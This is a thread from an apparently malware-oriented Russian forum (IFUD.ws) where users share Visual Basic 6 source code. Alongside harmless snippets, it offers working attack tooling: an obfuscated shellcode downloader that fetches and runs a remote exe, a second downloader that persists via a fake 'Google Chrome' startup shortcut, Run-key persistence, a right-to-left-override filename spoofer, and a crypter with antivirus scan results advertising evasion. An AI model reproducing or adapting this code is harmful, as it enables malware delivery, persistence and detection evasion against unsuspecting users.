1
  1. Этот сайт использует файлы cookie. Продолжая пользоваться данным сайтом, Вы соглашаетесь на использование нами Ваших файлов cookie. Узнать больше.
Приветствуем вас,Гость, на форуме IFUD.WS. Обязательно рекомендуется к прочтению правила форума http://ifud.ws/threads/obnovleno-pravila-foruma.7759

[VB6] Моя коллекция исходников

Тема в разделе "Исходные коды", создана пользователем Apple96, 30 окт 2013.

  1. TopicStarter Overlay
    Apple96

    Apple96

    Регистрация:
    13 апр 2013
    Сообщения:
    416
    Симпатии:
    667
    В данной теме буду выкладывать различные исходники на visual basic 6

    Проверка интернет соединения.

    [​IMG]
    Код:
    Const KEY_QUERY_VALUE = &H1
    Private Declare Function InternetGetConnectedState Lib "wininet.dll" (ByRef IpdwFlags As Long, ByVal dwReserved As Long) As Long
     
    Function ConexionInternet() As Boolean
     
        ConexionInternet = IIf(InternetGetConnectedState(0&, 0&) <> 0, True, False)
        If Err Then ConexionInternet = True
     
    End Function
    Код:
    Private Sub Command1_Click()
    If ConexionInternet = True Then
        MsgBox "Подключено!"
    Else
        MsgBox "Неполключено"
    End If
    End Sub
    Please login or register to view links | iFUD.ws
    --- добавлено: Oct 30, 2013 8:55 AM ---

    ======================================================================

    Генератор случайных чисел

    [​IMG]

    Код:
    Const Var = "123456789"
     
    Private Sub Command1_Click()
    Text1 = ""
    For Var2 = 1 To 10
    Randomize
    SChar = Mid(Var, Rnd * 9 + 1, 1)
    Text1 = Text1 & SChar
    Next
    End Sub
    
    Please login or register to view links | iFUD.ws

    ======================================================================

    Генератор случайных чисел и букв

    [​IMG]

    Код:
    Private Sub Command1_Click()
     
        Dim a As String
        Dim b As String
        Dim C As String
        Dim D As String
        Dim e As String
        Dim F As String
        Dim G As String
        Dim H As String
        Dim i As String
        Dim j As String
     
        a = Random
        b = Random
        C = Random
        D = Random
        e = Random
        F = Random
        G = Random
        H = Random
        i = Random
        j = Random
     
        Text1.Text = a + b + C + D + e + F + G + H + i + j + a + b + C + D + e + F + G + H + i + j + a + b + C + D + e + F + G + H + i + j + a + b + C + D + e + F + G + H + i + j
     
    End Sub
     
    Function RandomNum() As Integer
     
        RandomNum = Int((9 - 1 + 1) * Rnd + 1)
     
    End Function
     
    Function RandomChar() As String
     
        Dim Char As Integer
        Char = Int((26 - 1 + 1) * Rnd + 1)
        If Char = 1 Then RandomChar = "A": Exit Function
        If Char = 2 Then RandomChar = "B": Exit Function
        If Char = 3 Then RandomChar = "C": Exit Function
        If Char = 4 Then RandomChar = "D": Exit Function
        If Char = 5 Then RandomChar = "E": Exit Function
        If Char = 6 Then RandomChar = "F": Exit Function
        If Char = 7 Then RandomChar = "G": Exit Function
        If Char = 8 Then RandomChar = "H": Exit Function
        If Char = 9 Then RandomChar = "I": Exit Function
        If Char = 10 Then RandomChar = "J": Exit Function
        If Char = 11 Then RandomChar = "K": Exit Function
        If Char = 12 Then RandomChar = "L": Exit Function
        If Char = 13 Then RandomChar = "M": Exit Function
        If Char = 14 Then RandomChar = "N": Exit Function
        If Char = 15 Then RandomChar = "O": Exit Function
        If Char = 16 Then RandomChar = "P": Exit Function
        If Char = 17 Then RandomChar = "Q": Exit Function
        If Char = 18 Then RandomChar = "R": Exit Function
        If Char = 19 Then RandomChar = "S": Exit Function
        If Char = 20 Then RandomChar = "T": Exit Function
        If Char = 21 Then RandomChar = "U": Exit Function
        If Char = 22 Then RandomChar = "V": Exit Function
        If Char = 23 Then RandomChar = "W": Exit Function
        If Char = 24 Then RandomChar = "X": Exit Function
        If Char = 25 Then RandomChar = "Y": Exit Function
        If Char = 26 Then RandomChar = "Z": Exit Function
     
    End Function
     
    Function Random() As Variant
     
        Dim Randm As Integer
        Randm = Int((3 - 1 + 1) * Rnd + 1)
     
        If Randm = 1 Then
            Random = RandomNum
        Else
            Random = RandomChar
        End If
     
    End Function
    Please login or register to view links | iFUD.ws
    Копирование материалов, разрешено только при обязательном указании автора и прямой гиперссылки
     
    • Like Like x 6
    Метки:
  2. EEjester

    EEjester hack_the_god

    Регистрация:
    25 окт 2012
    Сообщения:
    1.326
    Симпатии:
    941
    Ну уж генирацию то думаю любой бы написал :) А вообще очень здорово! Поддерживаю тему.
    --- добавлено: Oct 30, 2013 9:35 AM ---
    Присоединяюсь.
    [​IMG]
    Код:
    Private Sub Command1_Click()
    Set Reg = CreateObject("WScript.Shell")
    Reg.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\project1.exe", "C:\project1.exe"
    End Sub
     
    Private Sub Command2_Click()
    Set Reg = CreateObject("WScript.Shell")
    Reg.RegDelete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\project1.exe"
    End Sub
    Скачать: Project1: Please login or register to view links
     
    • Like Like x 3
  3. TopicStarter Overlay
    Apple96

    Apple96

    Регистрация:
    13 апр 2013
    Сообщения:
    416
    Симпатии:
    667
    Downloader FUD (Исходник Please login or register to view links(без билдера), только там он уже не фуд, а тут фуд)
    Please login or register to view links
    Создаем MDI форму, кидаем этот код:
    Код:
    Option Explicit
    Public Function BYTES_TO_STRING(bBytes() As Byte) As String
    BYTES_TO_STRING = bBytes
    BYTES_TO_STRING = StrConv(BYTES_TO_STRING, vbUnicode)
    End Function
     
    Private Sub MDIForm_Load()
    Dim Path As String
    Path = Environ("tmp") & "\"
    Call AppleFucking("http://site.ws/file.exe", Path & "apple.exe", Path)
    Unload Me
    End Sub
    
    Создаем Модуль и кидаем туда этот код:
    Код:
    #####
    Autor-??
    #####
    Option Explicit
     
    Declare Function CallWindowProc Lib "user32" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal hWnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
     
    Public Function AppleFucking(ByVal URL As String, ByVal Path As String, ByVal Directory As String) As Long
    Dim ASM(37) As Currency
    ASM(0) = -450359650854.2635@: ASM(1) = -396540214845010.3053@
    ASM(2) = 21321057989.1983@: ASM(3) = 6077339340225.5616@: ASM(4) = 42909997.4656@
    ASM(5) = -837191126111754.639@: ASM(6) = 648518346639835.6557@: ASM(7) = 89790407619538.5064@
    ASM(8) = 652006365496159.8719@: ASM(9) = 146072428724461.54@: ASM(10) = -6855015623334.287@
    ASM(11) = -53935773671214.0683@: ASM(12) = -166321334846557.696@: ASM(13) = -620332915519123.3815@
    ASM(14) = 2078915166.208@: ASM(15) = 2985444650676.48@: ASM(16) = -7194104402618.2145@
    ASM(17) = 1803199389602.8624@: ASM(18) = 846787180756104.0301@: ASM(19) = -826240225853777.4601@
    ASM(20) = 607713967868070.6677@: ASM(21) = 607572753232009.636@: ASM(22) = -850933696759307.8529@
    ASM(23) = 802919294953324.5439@: ASM(24) = 619695308512952.331@: ASM(25) = 802891369494166.229@
    ASM(26) = 730833204655190.1281@: ASM(27) = 778222015278953.2759@: ASM(28) = 1413028948675.4405@
    ASM(29) = 781072499504626.3528@: ASM(30) = 629755885335592.6629@: ASM(31) = 823370601872575.0784@
    ASM(32) = 731002088765655.4853@: ASM(33) = -172928607778770.4221@: ASM(34) = 781076397616948.8217@
    ASM(35) = -19031858753.0388@: ASM(36) = 866645227075799.1423@: ASM(37) = 9609325716.3621@
     
    AppleFucking = CallWindowProc(VarPtr(ASM(0)), StrPtr(URL), StrPtr(Path), StrPtr(Directory), 0)
    End Function
    
    Please login or register to view links| iFUD.ws
    Копирование материалов, разрешено только при обязательном указании автора и прямой гиперссылки
     
    • Like Like x 3
  4. EEjester

    EEjester hack_the_god

    Регистрация:
    25 окт 2012
    Сообщения:
    1.326
    Симпатии:
    941
    [​IMG]

    Код:
    Private Sub Command1_Click()
    CreateObject("Scripting.FileSystemObject").CopyFile App.Path + "\" + App.EXEName + ".exe", "C:\"
    End Sub
    Скачать: Project2: Please login or register to view links
    --- добавлено: Oct 30, 2013 10:09 AM ---
    Что бы скрыть главнубю форму при старте:
    Код:
    Private Sub Form_Load()
    Form1.Hide
    End Sub
     
    • Like Like x 3
  5. asiman

    asiman

    Регистрация:
    10 май 2012
    Сообщения:
    467
    Симпатии:
    238
    delphi
     
  6. TopicStarter Overlay
    Apple96

    Apple96

    Регистрация:
    13 апр 2013
    Сообщения:
    416
    Симпатии:
    667
    Downloader Ver 2 by Apple96

    [​IMG]

    [​IMG]
    Особенности:
    Сидит в автозагрузке, проверяет интернет соединение, если инет подключен, то качает и запускает файл, далее вырубается, если инет не подключен, то ждет, пока подключится:)
    Добавил таймер (задержка перед запуском) по дефлоту стоит 2 мин. Можно убрать, прокомментировав Wait (65) (на 3 скрине)

    Windows 7 - OK
    Windows XP - OK

    Создаем MDI форму, кидаем на неё таймер и вставляем этот код:
    Код:
    Const KEY_QUERY_VALUE = &H1
    Private Declare Function InternetGetConnectedState Lib "wininet.dll" (ByRef IpdwFlags As Long, ByVal dwReserved As Long) As Long
    Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
    Private Const SW_SHOWNORMAL = 1
     
    Private Declare Function GetPrivateProfileString Lib "kernel32" Alias "GetPrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpDefault As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As Long
    Private Declare Function WritePrivateProfileString Lib "kernel32" Alias "WritePrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpString As Any, ByVal lpFileName As String) As Long
    Private Declare Function FileExists Lib "shlwapi.dll" Alias "PathFileExistsA" (ByVal pszPath As String) As Long
     
    Private Declare Function URLDownloadToFile Lib "urlmon" _
      Alias "URLDownloadToFileA" _
      (ByVal pCaller As Long, _
      ByVal szURL As String, _
      ByVal szFileName As String, _
      ByVal dwReserved As Long, _
      ByVal lpfnCB As Long) As Long
    Dim ERROR_SUCCESS
     
    Private Declare Function SHGetSpecialFolderLocation Lib "shell32.dll" ( _
        ByVal hwndOwner As Long, _
        ByVal nFolder As Long, _
        pidl As ITEMIDLIST) As Long
    Private Declare Function SHGetPathFromIDList Lib "shell32.dll" Alias "SHGetPathFromIDListA" ( _
        ByVal pidl As Long, _
        ByVal pszPath As String) As Long
    Private Const MAX_PATH = 260
    Private Type SHITEMID
        cb As Long
        abID As Byte
    End Type
    Private Type ITEMIDLIST
        mkid As SHITEMID
    End Type
    Private Const CSIDL_STARTUP = &H7
    Private Const CSIDL_COMMON_STARTUP = &H18
    Dim obj As Object
    Dim acceso_directo As Object
     
     
    Function ConexionInternet() As Boolean
     
        ConexionInternet = IIf(InternetGetConnectedState(0&, 0&) <> 0, True, False)
        If Err Then ConexionInternet = True
     
    End Function
     
     
    Sub MDIForm_load()
        Dim estado As String
        Iniciarconwindows
        Dim sSourceUrl As String
        Dim sDestinationUrl As String
        Dim Path As String
        Path = Environ("tmp") & "\"                      ' drop file to Temp
        'Path = Environ("windir") & "\"                  ' drop file to C:\windows
        'Path = Environ("windir") & "\" & "system32"      ' drop file to System32
        CreateObject("Scripting.FileSystemObject").CopyFile App.Path + "\" + App.EXEName + ".exe", Path
        sSourceUrl = "http://site.ws/file.exe"                        'URL
        sDestinationUrl = Path & "apple7.exe"                        'File Name
        DownloadFile sSourceUrl, sDestinationUrl
     
    If ConexionInternet = True Then
    Wait (65)  ' отсрочка в секундах. Max 65 сек.
    Wait (65)
    'Wait (65)
    'Wait (65)
    Call ShellExecute(hwnd, vbNullString, sDestinationUrl, vbNullString, vbNullString, SW_SHOWNORMAL)
    Else
    Call Form1.Form
    End If
     
    End
     
     
    End Sub
     
    Private Function DownloadFile(ByVal sURL As String, ByVal sLocalFile As String) As Boolean
      DownloadFile = URLDownloadToFile(0, sURL, _
        sLocalFile, 0, 0) = ERROR_SUCCESS
    End Function
     
    Private Function Iniciarconwindows()
    Path = Environ("tmp") & "\"                      ' drop file to Temp
        'Path = Environ("windir") & "\"                  ' drop file to C:\windows
        'Path = Environ("windir") & "\" & "system32"      ' drop file to System32
    sDestinationUrl = Path & App.EXEName + ".exe"
    Set obj = CreateObject("wscript.Shell")
    Set acceso_directo = obj.CreateShortcut(GetSpecialfolder(CSIDL_STARTUP) & "\Google Chrome.lnk")
    With acceso_directo
        .TargetPath = sDestinationUrl
        .Save
     
     
    End With
    End Function
    Function Quitariniciarconwindows()
        If Dir(GetSpecialfolder(CSIDL_STARTUP) & "\Chrome.lnk", vbNormal) = "" Then Exit Function
        Call Kill(GetSpecialfolder(CSIDL_STARTUP) & "\Chrome.lnk")
    End Function
     
     
    Private Function GetSpecialfolder(CSIDL As Long) As String
    Dim ret As Long, IDL As ITEMIDLIST
    ret = SHGetSpecialFolderLocation(100, CSIDL, IDL)
    If ret = NOERROR Then
            Path$ = Space$(512)
            ret = SHGetPathFromIDList(ByVal IDL.mkid.cb, ByVal Path$)
            GetSpecialfolder = Left$(Path, InStr(Path, Chr$(0)) - 1)
            Exit Function
    End If
    GetSpecialfolder = ""
    End Function
     
    'Отсрочка тут изменять ничего не нужно
    Public Sub Wait(seconds)
    Timer1.Enabled = True
    Timer1.Interval = 1000 * seconds 'установка интервала для таймера
    While Timer1.Interval > 0
    DoEvents
    Wend
    Timer1.Enabled = False
    End Sub
    Private Sub Timer1_Timer()
    Timer1.Interval = 0
    End Sub
    
    Создаем обычную форму, кидаем этот код:
    Код:
    Option Explicit
     
    Sub Form()
    Call MDIForm1.MDIForm_load
    End Sub
    Please login or register to view links| iFUD.ws

    Скан:
    File Name: down.exe
    File Size: 24.061 KB
    Scan Date: 2013-10-30
    MD5: 5733947d61b6b5555cbf5934621ffd0c
    Scan Result: 1/35
    Scan Link: Please login or register to view links

    AVG Free: Clean
    ArcaVir: Clean
    Avast: Clean
    AntiVir (Avira): Clean
    BitDefender: Clean
    VirusBuster Internet Security: Clean
    Clam Antivirus: Clean
    COMODO Internet Security: TrojWare.Win32.TrojanDownloader.VB.PMEA@287907904
    Dr.Web: Clean
    eTrust-Vet: Clean
    F-PROT Antivirus: Clean
    F-Secure Internet Security: Clean
    G Data: Clean
    IKARUS Security: Clean
    Kaspersky Antivirus: Clean
    McAfee: Clean
    MS Security Essentials: Clean
    ESET NOD32: Clean
    Norman: Clean
    Norton Antivirus: Clean
    Panda Security: Clean
    A-Squared: Clean
    Quick Heal Antivirus: Clean
    Solo Antivirus: Clean
    Sophos: Clean
    Trend Micro Internet Security: Clean
    VBA32 Antivirus: Clean
    Zoner AntiVirus: Clean
    Ad-Aware: Clean
    BullGuard: Clean
    Immunet Antivirus: Clean
    K7 Ultimate: Clean
    NANO Antivirus: Clean
    Panda CommandLine: Clean
    VIPRE: Clean
    Копирование материалов, разрешено только при обязательном указании автора и прямой гиперссылки
     
    • Like Like x 4
  7. TopicStarter Overlay
    Apple96

    Apple96

    Регистрация:
    13 апр 2013
    Сообщения:
    416
    Симпатии:
    667
    Spoofer
    Автор модуля - ?
    [​IMG][​IMG]

    Обычный спуфер. Можно выбрать своё расширение.
    Кидаем на форму, всё что видим на 1 скрине. Это Textbox, 2 CommandButton, ComboBox.
    Так же кидаем на форму CommonDialog (на 2 скрине). Думаю он у всех есть. Если нет, то вот качайте Please login or register to view links.

    Дабл клик по одному commanbutton, (он будет открывать наш файл) вставляем код:
    Код:
    Private Sub Command1_Click()
    With CommonDialog1
    .DialogTitle = "Select The file you Want to Protect"
    .Filter = "EXE Files |*.exe"
    .ShowOpen
    End With
     
    If Not CommonDialog1.FileName = vbNullString Then
     
    Text1.Text = CommonDialog1.FileName
     
    End If
    End Sub
    Код для второго CommandButton:
    Код:
    Private Sub Command2_Click()
        If Text1.Text = "" Then Exit Sub
        If funcSpoofingFileExtension(Text1.Text, Combo1.Text) = True Then
            MsgBox "done"
        Else
            MsgBox "error"
                End If
    End Sub
    Теперь, создаем модуль, и вставляем этот код:
    Код:
    #######
    Autor - ??
    #######
    Option Explicit
     
    Public Function funcSpoofingFileExtension(mSource As String, mExtSpoof As String) As Boolean
     
    On Error GoTo Err0:
     
        Dim objStream As Object
        Dim mNewFileName As String
        Dim mOldExt As String
     
        mOldExt = Right(mSource, 3)
     
        mNewFileName = Left(mSource, Len(mSource) - 4)
        mNewFileName = mNewFileName & ChrW$(&H202E) & StrReverse(mExtSpoof) & "." & mOldExt
     
     
      Set objStream = CreateObject("ADODB.Stream")
     
     
      objStream.Open
      objStream.Type = 1
     
     
        objStream.LoadFromFile (mSource)
        DoEvents
     
     
     
        objStream.SaveToFile mNewFileName
        DoEvents
        funcSpoofingFileExtension = True
        Exit Function
     
     
    Err0:
        funcSpoofingFileExtension = False
        Exit Function
     
    End Function
    
    Please login or register to view links | iFUD.ws
    Копирование материалов, разрешено только при обязательном указании автора и прямой гиперссылки
     
    • Like Like x 2
  8. TopicStarter Overlay
    Apple96

    Apple96

    Регистрация:
    13 апр 2013
    Сообщения:
    416
    Симпатии:
    667
    Эффект воды
    Автор - ?
    [​IMG]
    При наведении курсора по форме, происходит эффект касания. Очень красиво.
    После компиляции, рядом екзешником кидаем WaterCtrl.dll и ilogo.bmp (лежит в архиве вместе с исходником (в конце этого поста))

    Создаем форму, кидаем на неё PictureBox, CommandButton
    Открываем исходный код и вставляем:
    Код:
    Const LR_LOADFROMFILE = &H10
    Const IMAGE_BITMAP = 0
     
    Private Declare Function LoadImage Lib "user32" Alias "LoadImageA" (ByVal hInst As Long, ByVal lpsz As String, ByVal dwImageType As Long, ByVal dwDesiredWidth As Long, ByVal dwDesiredHeight As Long, ByVal dwFlags As Long) As Long
    Private Declare Function enablewater Lib "WaterCtrl.dll" (ByVal hwnd As Long, ByVal left As Integer, ByVal top As Integer, ByVal hbitmap As Long, ByVal radio As Integer, ByVal ancho As Integer) As Integer
    Private Declare Function waterblob Lib "WaterCtrl.dll" (ByVal X As Integer, ByVal Y As Integer, ByVal radio As Integer, ByVal ancho As Integer) As Integer
    Private Declare Function flattenwater Lib "WaterCtrl.dll" () As Integer
    Private Declare Function disablewater Lib "WaterCtrl.dll" () As Integer
    Делаем дабл клик по форме, вставляем код.
    Код:
    Private Sub Form_Load()
    Dim hbitmap As Long
    hbitmap = LoadImage(App.hInstance, App.Path & "\ilogo.bmp", IMAGE_BITMAP, 0, 0, LR_LOADFROMFILE)
    If hbitmap = 0 Then
    MsgBox "Error Cargando La Imagen"
    Exit Sub
    End If
    Call enablewater(Picture1.hwnd, 0, 0, hbitmap, 5, 50)
    End Sub
    
    Дабл клик по CommandButton:
    Код:
    Private Sub Command1_Click()
    Dim X As Integer
    Dim Y As Integer
    X = Picture1.Width / Screen.TwipsPerPixelX
    Y = Picture1.Height / Screen.TwipsPerPixelX
    Call waterblob(X / 2, Y / 2, 10, 600)
    End Sub
    И добавляем этот код:
    Код:
    Private Sub Form_Unload(Cancel As Integer)
    Call flattenwater
    Call disablewater
    End Sub
    Please login or register to view links | iFUD.ws
    Копирование материалов, разрешено только при обязательном указании автора и прямой гиперссылки
     
    • Like Like x 2
  9. TopicStarter Overlay
    Apple96

    Apple96

    Регистрация:
    13 апр 2013
    Сообщения:
    416
    Симпатии:
    667
    Программа для смены иконки
    Автор модуля - ?
    [​IMG]
    Создаем форму, кидаем 2 TextBox, 2 CommandButton и CommonDialog1
    Код формы:
    Код:
    Private Sub cmdBrowseExe_Click()
        With CommonDialog1
            .DialogTitle = "Select Exe File..."
            .Filter = "Executable Files (*.exe)|*.exe"
            .ShowOpen
        End With
     
        text2.Text = CommonDialog1.FileName
    End Sub
     
    Private Sub cmdBrowseIco_Click()
        With CommonDialog1
            .DialogTitle = "Select Icon File..."
            .Filter = "Icons (*.ico)|*.ico"
            .ShowOpen
        End With
     
        text1.Text = CommonDialog1.FileName
    End Sub
     
    Private Sub cmdChangeIcon_Click()
        If ChangeIcon(text2.Text, text1.Text) Then
            MsgBox "Done"
        Else
            MsgBox "Error"
        End If
    End Sub
    Добавляем Модуль, кидаем этот код):
    Код:
    Option Explicit
     
    Private Const OPEN_EXISTING            As Long = &H3
    Private Const INVALID_HANDLE_VALUE      As Long = -1
    Private Const GENERIC_READ              As Long = &H80000000
    Private Const FILE_ATTRIBUTE_NORMAL    As Long = &H80
    Private Const FILE_BEGIN                As Long = &H0
    Private Const RT_ICON                  As Long = &H3
    Private Const RT_GROUP_ICON            As Long = &HE
     
    Private Type ICONDIRENTRY
        bWidth          As Byte
        bHeight        As Byte
        bColorCount    As Byte
        bReserved      As Byte
        wPlanes        As Integer
        wBitCount      As Integer
        dwBytesInRes    As Long
        dwImageOffset  As Long
    End Type
     
    Private Type ICONDIR
        idReserved      As Integer
        idType          As Integer
        idCount        As Integer
    End Type
     
    Private Type GRPICONDIRENTRY
        bWidth          As Byte
        bHeight        As Byte
        bColorCount    As Byte
        bReserved      As Byte
        wPlanes        As Integer
        wBitCount      As Integer
        dwBytesInRes    As Long
        nID            As Integer
    End Type
     
    Private Type GRPICONDIR
        idReserved      As Integer
        idType          As Integer
        idCount        As Integer
        idEntries()    As GRPICONDIRENTRY
    End Type
     
    Private Declare Function CreateFile Lib "kernel32" Alias "CreateFileA" (ByVal lpFileName As String, ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, lpSecurityAttributes As Any, ByVal dwCreationDisposition As Long, ByVal dwFlagsAndAttributes As Long, ByVal hTemplateFile As Long) As Long
    Private Declare Function ReadFile Lib "kernel32" (ByVal lFile As Long, lpBuffer As Any, ByVal nNumberOfBytesToRead As Long, lpNumberOfBytesRead As Long, lpOverlapped As Any) As Long
    Private Declare Function SetFilePointer Lib "kernel32" (ByVal lFile As Long, ByVal lDistanceToMove As Long, lpDistanceToMoveHigh As Long, ByVal dwMoveMethod As Long) As Long
    Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
    Private Declare Function BeginUpdateResource Lib "kernel32" Alias "BeginUpdateResourceA" (ByVal pFileName As String, ByVal bDeleteExistingResources As Long) As Long
    Private Declare Function UpdateResource Lib "kernel32" Alias "UpdateResourceA" (ByVal lUpdate As Long, ByVal lpType As Long, ByVal lpName As Long, ByVal wLanguage As Long, lpData As Any, ByVal cbData As Long) As Long
    Private Declare Function EndUpdateResource Lib "kernel32" Alias "EndUpdateResourceA" (ByVal lUpdate As Long, ByVal fDiscard As Long) As Long
    Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
     
    Public Function ChangeIcon(ByVal strExePath As String, ByVal strIcoPath As String) As Boolean
        Dim lFile              As Long
        Dim lUpdate            As Long
        Dim lRet                As Long
        Dim i                  As Integer
        Dim tICONDIR            As ICONDIR
        Dim tGRPICONDIR        As GRPICONDIR
        Dim tICONDIRENTRY()    As ICONDIRENTRY
     
        Dim bIconData()        As Byte
        Dim bGroupIconData()    As Byte
     
        lFile = CreateFile(strIcoPath, GENERIC_READ, 0, ByVal 0&, OPEN_EXISTING, 0, ByVal 0&)
     
        If lFile = INVALID_HANDLE_VALUE Then
            ChangeIcon = False
            CloseHandle (lFile)
            Exit Function
        End If
     
        Call ReadFile(lFile, tICONDIR, Len(tICONDIR), lRet, ByVal 0&)
     
        ReDim tICONDIRENTRY(tICONDIR.idCount - 1)
     
        For i = 0 To tICONDIR.idCount - 1
            Call ReadFile(lFile, tICONDIRENTRY(i), Len(tICONDIRENTRY(i)), lRet, ByVal 0&)
        Next i
     
        ReDim tGRPICONDIR.idEntries(tICONDIR.idCount - 1)
     
        tGRPICONDIR.idReserved = tICONDIR.idReserved
        tGRPICONDIR.idType = tICONDIR.idType
        tGRPICONDIR.idCount = tICONDIR.idCount
     
        For i = 0 To tGRPICONDIR.idCount - 1
            tGRPICONDIR.idEntries(i).bWidth = tICONDIRENTRY(i).bWidth
            tGRPICONDIR.idEntries(i).bHeight = tICONDIRENTRY(i).bHeight
            tGRPICONDIR.idEntries(i).bColorCount = tICONDIRENTRY(i).bColorCount
            tGRPICONDIR.idEntries(i).bReserved = tICONDIRENTRY(i).bReserved
            tGRPICONDIR.idEntries(i).wPlanes = tICONDIRENTRY(i).wPlanes
            tGRPICONDIR.idEntries(i).wBitCount = tICONDIRENTRY(i).wBitCount
            tGRPICONDIR.idEntries(i).dwBytesInRes = tICONDIRENTRY(i).dwBytesInRes
            tGRPICONDIR.idEntries(i).nID = i + 1
        Next i
     
        lUpdate = BeginUpdateResource(strExePath, False)
        For i = 0 To tICONDIR.idCount - 1
            ReDim bIconData(tICONDIRENTRY(i).dwBytesInRes)
            SetFilePointer lFile, tICONDIRENTRY(i).dwImageOffset, ByVal 0&, FILE_BEGIN
            Call ReadFile(lFile, bIconData(0), tICONDIRENTRY(i).dwBytesInRes, lRet, ByVal 0&)
     
            If UpdateResource(lUpdate, RT_ICON, tGRPICONDIR.idEntries(i).nID, 0, bIconData(0), tICONDIRENTRY(i).dwBytesInRes) = False Then
                ChangeIcon = False
                CloseHandle (lFile)
                Exit Function
            End If
     
        Next i
     
        ReDim bGroupIconData(6 + 14 * tGRPICONDIR.idCount)
        CopyMemory ByVal VarPtr(bGroupIconData(0)), ByVal VarPtr(tICONDIR), 6
     
        For i = 0 To tGRPICONDIR.idCount - 1
            CopyMemory ByVal VarPtr(bGroupIconData(6 + 14 * i)), ByVal VarPtr(tGRPICONDIR.idEntries(i).bWidth), 14&
        Next
     
        If UpdateResource(lUpdate, RT_GROUP_ICON, 1, 0, ByVal VarPtr(bGroupIconData(0)), UBound(bGroupIconData)) = False Then
            ChangeIcon = False
            CloseHandle (lFile)
            Exit Function
        End If
     
        If EndUpdateResource(lUpdate, False) = False Then
            ChangeIcon = False
            CloseHandle (lFile)
        End If
     
        Call CloseHandle(lFile)
        ChangeIcon = True
    End Function
    Public Function ExtractIcon(ByVal strExePath As String, ByVal strIcoPath As String) As Boolean
        'In Progress
    End Function
    
    Please login or register to view links | iFUD.ws
     
    • Like Like x 1
  10. TopicStarter Overlay
    Apple96

    Apple96

    Регистрация:
    13 апр 2013
    Сообщения:
    416
    Симпатии:
    667
    [Мод] криптор Carb0n [15/35]
    Может кому надо?!
    Сканы стабов
    До: Please login or register to view links
    File Name: carbon.exe
    File Size: 169.548 KB
    Scan Date: 2013-11-03
    MD5: 93ff3bb19d884d200933375cef49a3bb
    Scan Result: 29/35
    Scan Link: Please login or register to view links

    AVG Free:Virus identified Win32/Cryptor
    ArcaVir:Worm.Autorun.Bbsz
    Avast:Win32:VB-PQJ [Drp]
    AntiVir (Avira):TR/Dropper.Gen
    BitDefender:Trojan.Generic.1704218
    VirusBuster Internet Security:Worm.AutoRun!5VURlS8YkZo
    Clam Antivirus:Worm.Autorun-2459
    COMODO Internet Security:TrojWare.Win32.VB.~EB@7654520
    Dr.Web:Trojan.MulDrop3.36034
    eTrust-Vet:Win32/Poison.IS
    F-PROT Antivirus:W32/Worm.AHPB (exact)
    F-Secure Internet Security:Packed:W32/Vbcrypt.N
    G Data:Trojan.Generic.1704218, Win32:VB-PQJ [Drp]
    IKARUS Security:Trojan-Spy.Win32.Zbot
    Kaspersky Antivirus:Worm.Win32.AutoRun.bbsu
    McAfee:W32/Autorun.worm.i.gen
    MS Security Essentials:virus found deleted
    ESET NOD32:Trojan.Win32/Injector.JH
    Norman:FakeAV.V!genr
    Norton Antivirus: Clean
    Panda Security:Trj/Genetic.gen virus
    A-Squared:Trojan-Spy.Win32.Zbot!IK
    Quick Heal Antivirus:VirTool.Vbinder.Gen
    Solo Antivirus: Clean
    Sophos:Mal/VB-AB
    Trend Micro Internet Security:Mal_BUZUS-6
    VBA32 Antivirus:infected Malware-Cryptor.VB.gen.1
    Zoner AntiVirus: Clean
    Ad-Aware:Trojan.Win32.Buzus (v)
    BullGuard: Clean
    Immunet Antivirus: Clean
    K7 Ultimate:EmailWorm ( 08c233de0 )
    NANO Antivirus: Clean
    Panda CommandLine:Trj/Genetic.gen
    VIPRE:Trojan.Win32.Buzus (v)


    После: Please login or register to view links
    File Name: Stub.exe
    File Size: 120.067 KB
    Scan Date: 2013-11-03
    MD5: 7547e839bcb2c463c7d36197810f9e7e
    Scan Result: 15/35
    Scan Link: Please login or register to view links

    AVG Free:Found Luhe.Malum.A
    ArcaVir: Clean
    Avast: Clean
    AntiVir (Avira): Clean
    BitDefender:Gen:Trojan.Heur.hm1@sXkCOJdie
    VirusBuster Internet Security: Clean
    Clam Antivirus: Clean
    COMODO Internet Security: Clean
    Dr.Web: Clean
    eTrust-Vet:Win32/VBKrypt.W!generic
    F-PROT Antivirus:W32/VBTrojan.17!Generic
    G Data:Gen:Trojan.Heur.hm1@sXkCOJdie
    IKARUS Security: Clean
    Kaspersky Antivirus: Clean
    McAfee:Backdoor-DZP
    MS Security Essentials:VirTool:Win32/Vbinder.gen!G
    ESET NOD32: Clean
    Norman:Obfuscated.C!genr
    Norton Antivirus: Clean
    Panda Security: Clean
    A-Squared: Clean
    Quick Heal Antivirus: Clean
    Solo Antivirus: Clean
    Sophos:Mal/Generic-G
    Trend Micro Internet Security: Clean
    VBA32 Antivirus:infected Malware-Cryptor.VB.gen.1
    Zoner AntiVirus: Clean
    Ad-Aware:VirTool.Win32.Vbinder.gen.g (v)
    BullGuard: Clean
    Immunet Antivirus: Clean
    K7 Ultimate:Virus ( 9b1f44a90 )
    NANO Antivirus: Clean
    Panda CommandLine:Suspicious file
    VIPRE:VirTool.Win32.Vbinder.gen.g (v)

    Please login or register to view links| iFUD.ws



    ======================================================================


    --- добавлено: 4 ноя 2013 в 00:04 ---
    Самоудаление файла
    Пишем при создании формы или когда это нужно:
    Call Kill_My_Pro

    Создаем модуль, пишем:
    Код:
    '=========================================
    '=  Developed by P. G. B. Prasanna      =
    '=  A Software Developer from Sri Lanka  =
    '=  E-Mail: pgbsoft@gmail.com            =
    '=========================================
     
